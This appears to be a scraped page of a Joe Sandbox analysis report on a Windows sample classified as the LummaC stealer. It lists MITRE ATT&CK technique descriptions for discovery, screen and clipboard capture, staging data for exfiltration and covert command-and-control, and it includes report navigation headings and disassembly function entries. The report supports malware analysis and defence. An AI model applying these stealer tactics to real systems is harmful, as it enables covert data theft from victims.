Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Function 00FEA021 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 00FE010F Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Function 00FE51EB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00FE009B Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00FD3D0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Function 00FE52B6 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre